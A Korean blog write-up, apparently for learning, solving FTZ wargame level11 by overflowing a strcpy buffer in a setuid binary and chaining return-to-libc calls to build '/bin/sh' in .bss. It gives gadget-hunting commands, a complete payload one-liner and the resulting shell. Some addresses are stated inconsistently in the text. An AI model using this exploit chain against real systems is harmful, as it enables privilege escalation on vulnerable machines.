FTZ Level11 #4 ( Chaining RTL )
문제
#include <stdio.h>
#include <stdlib.h>
int main( int argc, char *argv[] )
{
char str[256];
setreuid( 3092, 3092 );
strcpy( str, argv[1] );
printf( str );
}
FTZ level 11의 소스코드이다. 이 소스코드에서 취약한 점을 발견하여 상위권한( level12 )을 얻어 비밀번호를 알아내야 한다.
취약점
int main( int argc, char *argv[] )
{
char str[256];
#setreuid( 3092, 3092 );
strcpy( str, argv[1] );
#printf( str );
}
- 인자 입력은 argv로 받는다. 또한 길이의 제한은 없다.
- str 의 크기는 256이다.
- strcpy() 함수를 통해 argv에서 입력받은 인자를 str로 가져온다. 정해진 최대 바이트는 없다.
따라서 argv에서 인자 입력을 할 때 256byte 이상의 문자열을 입력하면 str의 버퍼 크기를 넘어 메모리를 덮어씌울 수 있다.
공격 시나리오
level11은 취약한 부분이 많아서 다양한 공격을 할 수 있는 레벨이다.
- 환경 변수를 이용한 공격
- Nop Sled 기법을 이용한 공격
- RTL 기법을 이용한 공격
- Chanining RTL 기법을 이용한 공격 <- 이번 포스팅
- FSB ( Format String Bug )를 이용한 공격
Chaining RTL
저번 RTL 포스팅에서는 system()을 호출하여 명령어를 전달하였는데 이 명령어를 전달하기 위해 외부에서 ( 환경변수 라든가, 다른데서 "/bin/sh"문자열을 찾든가 ) 가져왔어야 했다.
그렇다면 이번에는 명령어를 메모리에서 획득해 system()함수로 전달하는 방법을 써보려 한다.
어떻게?
저번에는 /bin/sh를 다른데다 등록하고 그 주소를 인자로 하여 넘겨주었는데 이번에는 RTL을 연속적으로 이용하여 "/"따로 "b", "i", "n", "s", "h" 를 각각 가지고와 문자열을 만들어 주는 것이다.
ret까지 더미 바이트로 채워주고 ret에는 strcpy()함수의 주소를 그 뒤에 pop pop ret주소 그리고 strcpy는 인자로 "쓰여질 메모리 주소","복사할 문자열 주소"를 받기 때문에 각각 해당하는 주소를 써objdump준다.이걸 연속적으로 사용해주면 된다.
풀이
우리가 찾아야 할 것은 3가지가 있다.
- system()의 주소
- pop pop ret
- 넣어줄 문자열
- 복사한 문자열을 옮길 주소
system()주소는 저번에 찾은 0x804835c를 그대로 이용하겠다.
2. pop pop ret 찾기
pop pop ret 는 다음 명령어로 찾을 수 있다.
[level11@ftz level11]$ objdump -d attackme | grep pop -A 2 | grep ret -B 2
--
804841b: 5d pop %ebp
804841c: c3 ret
--
--
8048428: 5d pop %ebp
8048429: c3 ret
--
--
8048456: 5d pop %ebp
8048457: c3 ret
--
--
8048468: 5d pop %ebp
8048469: c3 ret
--
80484ed: 5b pop %ebx
80484ee: 5d pop %ebp
80484ef: c3 ret
--
--
80484f8: 5d pop %ebp
80484f9: c3 ret
[level11@ftz level11]$
pop pop ret는 80484ed를 사용하면 될 것 같다.
3. 넣어줄 문자열 찾기
[level11@ftz level11]$ objdump -s attackme | grep / --color=auto
80480f4 2f6c6962 2f6c642d 6c696e75 782e736f /lib/ld-linux.so
다음과 같은 명령어를 치면 /를 포함한 내용이 나온다. 우리가 찾아야할 문자열은 "/","b","i","n","s","h","\x00"이다.
- "/" : 0x080380f4
- "b" : 0x080480f7
- "i" : 0x080480f6
- "n" : 0x080480fe
- "s" : 0x08048102
h가 남았으므로 h를 찾아보자
[level11@ftz level11]$ objdump -s attackme | grep h --color=auto
Contents of section .hash:
804830c ff252096 04086800 000000e9 e0ffffff .% ...h.........
804831c ff252496 04086808 000000e9 d0ffffff .%$...h.........
804832c ff252896 04086810 000000e9 c0ffffff .%(...h.........
- "h" : 0x08048312
- "\x00" : 0x08048313
다 찾았으니 이제 이것들을 쓸 영역을 찾아보자.
4. 복사할 주소 찾기
문자열이 들어갈 메모리 주소의 조건은 쓰기권한이 있으며, 주소값이 바뀌지 않아야 한다. 이러한 조건을 충족하는 메모리 공간은 data, bss, dynamic 등이 있다.
[level11@ftz level11]$ readelf -S attackme
There are 29 section headers, starting at offset 0x2a04:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 080480f4 0000f4 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 08048108 000108 000020 00 A 0 0 4
[ 3] .hash HASH 08048128 000128 000038 04 A 4 0 4
[ 4] .dynsym DYNSYM 08048160 000160 000090 10 A 5 1 4
[ 5] .dynstr STRTAB 080481f0 0001f0 00008a 00 A 0 0 1
[ 6] .gnu.version VERSYM 0804827a 00027a 000012 02 A 4 0 2
[ 7] .gnu.version_r VERNEED 0804828c 00028c 000020 00 A 5 1 4
[ 8] .rel.dyn REL 080482ac 0002ac 000008 08 A 4 0 4
[ 9] .rel.plt REL 080482b4 0002b4 000030 08 A 4 b 4
[10] .init PROGBITS 080482e4 0002e4 000018 00 AX 0 0 4
[11] .plt PROGBITS 080482fc 0002fc 000070 04 AX 0 0 4
[12] .text PROGBITS 08048370 000370 000190 00 AX 0 0 16
[13] .fini PROGBITS 08048500 000500 00001e 00 AX 0 0 4
[14] .rodata PROGBITS 08048520 000520 000008 00 A 0 0 4
[15] .data PROGBITS 08049528 000528 000010 00 WA 0 0 4
[16] .eh_frame PROGBITS 08049538 000538 000004 00 WA 0 0 4
[17] .dynamic DYNAMIC 0804953c 00053c 0000c8 08 WA 5 0 4
[18] .ctors PROGBITS 08049604 000604 000008 00 WA 0 0 4
[19] .dtors PROGBITS 0804960c 00060c 000008 00 WA 0 0 4
[20] .got PROGBITS 08049614 000614 000028 04 WA 0 0 4
[21] .bss NOBITS 0804963c 00063c 000018 00 WA 0 0 4
[22] .stab PROGBITS 00000000 00063c 0007a4 0c 23 0 4
[23] .stabstr STRTAB 00000000 000de0 001983 00 0 0 1
[24] .comment PROGBITS 00000000 002763 00014a 00 0 0 1
[25] .note NOTE 00000000 0028ad 000078 00 0 0 1
[26] .shstrtab STRTAB 00000000 002925 0000de 00 0 0 1
[27] .symtab SYMTAB 00000000 002e8c 0004e0 10 28 3a 4
[28] .strtab STRTAB 00000000 00336c 000239 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings)
I (info), L (link order), G (group), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)
[level11@ftz level11]$
readelf 명령어로 bss의 위치가 0x0804963c 인 것을 알 수 있다.
익스 코드 짜기
[ret까지 더미 바이트] + [&strcpy()] + [&(pop pop ret)] + [bss주소+0] + [쓰여질 문자] + [&strcpy()] + [... bss주소 1씩 추가하며 문자열 끝날 때 까지 반복] + [&system()] + [\x90]*4 + [bss주소+0] 로 짜면 된다.
[level11@ftz level11]$ ./attackme `python -c 'print "\x90"*268+"\x5c\x83\x04\x08"+"\xed\x84\x04\x08"+"\x3c\x96\x04\x08"+"\xf4\x80\x04\x08"+"\x5c\x83\x04\x08"+"\xed\x84\x04\x08"+"\x3d\x96\x04\x08"+"\xf7\x80\x04\x08"+"\x5c\x83\x04\x08"+"\xed\x84\x04\x08"+"\x3e\x96\x04\x08"+"\xf6\x80\x04\x08"+"\x5c\x83\x04\x08"+"\xed\x84\x04\x08"+"\x3f\x96\x04\x08"+"\xfe\x80\x04\x08"+"\x5c\x83\x04\x08"+"\xed\x84\x04\x08"+"\x40\x96\x04\x08"+"\xf4\x80\x04\x08"+"\x5c\x83\x04\x08"+"\xed\x84\x04\x08"+"\x41\x96\x04\x08"+"\x02\x81\x04\x08"+"\x5c\x83\x04\x08"+"\xed\x84\x04\x08"+"\x42\x96\x04\x08"+"\x12\x83\x04\x08"+"\x5c\x83\x04\x08"+"\xed\x84\x04\x08"+"\x43\x96\x04\x08"+"\x13\x83\x04\x08"+"\xc0\xf2\x03\x42"+"\x90"*4+"\x3c\x96\x04\x08"'`
sh-2.05b$ my-pass
TERM environment variable not set.
Level12 Password is "비밀번호패스워드".
sh-2.05b$